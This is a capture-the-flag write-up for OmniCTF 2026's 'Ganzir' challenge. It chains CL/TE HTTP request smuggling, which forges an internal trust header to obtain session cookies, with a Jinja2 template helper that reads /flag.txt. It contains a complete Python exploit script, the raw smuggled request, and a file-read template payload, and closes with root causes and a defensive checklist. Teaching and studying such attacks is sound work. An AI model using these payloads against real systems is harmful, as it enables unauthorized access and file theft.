Ganzir — OmniCTF 2026: From HTTP Parser Desync to Jinja2 Arbitrary File Read
This challenge chains two classic vulnerabilities together: first we use HTTP Request Smuggling (Parser Desynchronization) to forge an internally trusted header and grab an Employee Session, then we abuse a Jinja2 Template that exposes a dangerous helper to read the flag directly. Here is the full breakdown of the reasoning and the exploit.
The Hints
Once you land on /employee, the page hands you several important hints right away:
accepted job endpoint: POST /employee
accepted body formats: raw_request form field or text/plain raw HTTP
edge parser: honors Transfer-Encoding: chunked
bridge parser: trusts Content-Length before forwarding remaining bytes
internal request: GET /employee/session HTTP/1.1
required internal header: X-Employee-Gate: internal
In short, this challenge has two HTTP parsers:
| Parser | Header it honors | Purpose |
|---|---|---|
| Edge Parser | Transfer-Encoding |
Parses the chunked body |
| Bridge Parser | Content-Length |
Determines body length and forwards the remaining data |
The two sides disagree about where a single HTTP request actually ends, and that disagreement is the heart of the vulnerability.
Content-Length vs. Transfer-Encoding
Content-Length
Content-Length simply tells the server how many bytes the body has:
POST /employee HTTP/1.1
Content-Length: 5
hello
When the server sees Content-Length: 5, it reads the following 5 bytes.
Transfer-Encoding: chunked
Chunked encoding splits the body into several chunks:
POST /employee HTTP/1.1
Transfer-Encoding: chunked
5
hello
0
5 means the next segment is 5 bytes long, and the trailing 0 marks the end of the body.
Where's the Vulnerability?
A well-behaved server should never let two conflicting length rules travel all the way through to different parsers.
But this challenge's processing flow is:
The same raw HTTP request
↓
Edge parses using Transfer-Encoding
↓
Bridge decides the length using Content-Length
↓
The leftover data is treated as the next internal request
So we can hide a second request behind a normal one and let the Bridge kindly forward it to the internal endpoint.
This class of problem is called HTTP Request Smuggling, or more precisely, HTTP Parser Desynchronization.
Note that the outer POST /employee is itself a raw-request drop-off point. The conflicting headers go inside the text/plain body and are then parsed by the challenge's legacy bridge — they are not added directly on the outermost layer of Python's requests.post().
Why Did the First Payload Fail?
The body I used at first looked roughly like this:
69
GET /employee/session HTTP/1.1
Host: ganzir-bcb389d7988b.inst.omnictf.com
X-Employee-Gate: internal
0
69 is hexadecimal, equal to 105 in decimal, so the length calculation itself was not wrong.
The problem is that GET /employee/session was placed inside this non-zero chunk:
69 ← the next 105 bytes are all body
GET /employee… ← swallowed by Edge as ordinary body
0 ← end of the chunked body
So it would never become a second HTTP request.
It wasn't the length that was wrong — it was where the GET was placed!
The Correct Smuggled Request
We need to end the chunked body with a 0 first, and then append the internal GET after it:
POST /employee HTTP/1.1
Host: ganzir-bcb389d7988b.inst.omnictf.com
Content-Length: 0
Transfer-Encoding: chunked
0
GET /employee/session HTTP/1.1
Host: ganzir-bcb389d7988b.inst.omnictf.com
X-Employee-Gate: internal
Which now parses as:
Edge sees the 0 chunk → first request ends
↓
Bridge trusts CL = 0 → body length is 0
↓
The leftover data starts at GET /employee/session
↓
The GET is forwarded as an internal request
The internal endpoint sees X-Employee-Gate: internal and creates Cassie's Employee Session.
Why Do You Still See a 403 After It Works?
A successful /employee/session returns:
HTTP/1.1 302 Found
Location: /employee
Set-Cookie: site19_employee_gate=...
Set-Cookie: site19_jwt=...
Set-Cookie: site19_session=...
But requests follows redirects automatically by default.
The real success response: 302 + Set-Cookie
↓ requests auto-redirects
The response you end up seeing: the 403 from /employee
So you need to add:
allow_redirects=False
and use requests.Session() to preserve the cookies.
The Full Exploit
import re
import requests
HOST = "ganzir-bcb389d7988b.inst.omnictf.com"
BASE = f"https://{HOST}"
smuggled = (
"GET /employee/session HTTP/1.1\r\n"
f"Host: {HOST}\r\n"
"X-Employee-Gate: internal\r\n"
"\r\n"
).encode("ascii")
blob = (
b"POST /employee HTTP/1.1\r\n"
+ f"Host: {HOST}\r\n".encode("ascii")
+ b"Content-Length: 0\r\n"
+ b"Transfer-Encoding: chunked\r\n"
+ b"\r\n"
+ b"0\r\n\r\n"
+ smuggled
)
session = requests.Session()
response = session.post(
f"{BASE}/employee",
data=blob,
headers={"Content-Type": "text/plain"},
allow_redirects=False,
timeout=20,
)
print("Status:", response.status_code)
print("Location:", response.headers.get("Location"))
print("Cookies:", session.cookies.get_dict())
On success you get three cookies:
site19_employee_gate
site19_jwt
site19_session
Second Vulnerability: Arbitrary File Read via Jinja2
Once you have the Employee Session, you can access /briefing-template.
The page again hands you the hints directly:
engine: Jinja2
variables: wave, vector
helper: read_file(path)
flag copy: /flag.txt
User input is executed as a Jinja2 template, and the template can call read_file().
So we can read /flag.txt directly:
{{ read_file('/flag.txt') }}
Append the following code to the earlier exploit:
response = session.post(
f"{BASE}/briefing-template",
data={"template": "{{ read_file('/flag.txt') }}"},
timeout=20,
)
flag = re.search(r"CTF\{[^}]+\}", response.text)
print(flag.group(0) if flag else response.text)
The problem here isn't just "using Jinja2" — it's that the server treats user input directly as a template and, on top of that, exposes a read_file() helper that can read arbitrary paths.
The Complete Attack Chain
CL / TE parser desync
↓
Smuggle the internal GET /employee/session
↓
Forge X-Employee-Gate: internal
↓
Obtain the Employee Session cookie
↓
Access /briefing-template
↓
Execute {{ read_file('/flag.txt') }}
↓
Get the flag
Root Causes
1. Accepting Conflicting Framing Headers
Content-Length + Transfer-Encoding present at the same time
→ different parsers apply different rules
2. Forwarding Un-parsed Raw Bytes Directly
The data trailing the first request
→ is treated as a new internal request
3. Deciding Internal Trust Based on a Header
X-Employee-Gate: internal
As long as you manage to reach the internal endpoint, you can forge this header.
4. Over-privileged Template Helper
{{ read_file('/any/path') }}
There's no path allowlist, and no isolation between the template and the filesystem.
Field Checklist
When you run into an HTTP parser challenge, check for:
- Does it accept both
Content-LengthandTransfer-Encodingat once? - Do the front-end and back-end use different HTTP parsers?
- How is the data after
0\r\n\r\nhandled? - Does the client follow redirects automatically, hiding the real response?
- Are the cookies preserved in a single session?
- Does internal trust rely solely on a forgeable header?
- Does the template engine expose a dangerous helper?
Member discussion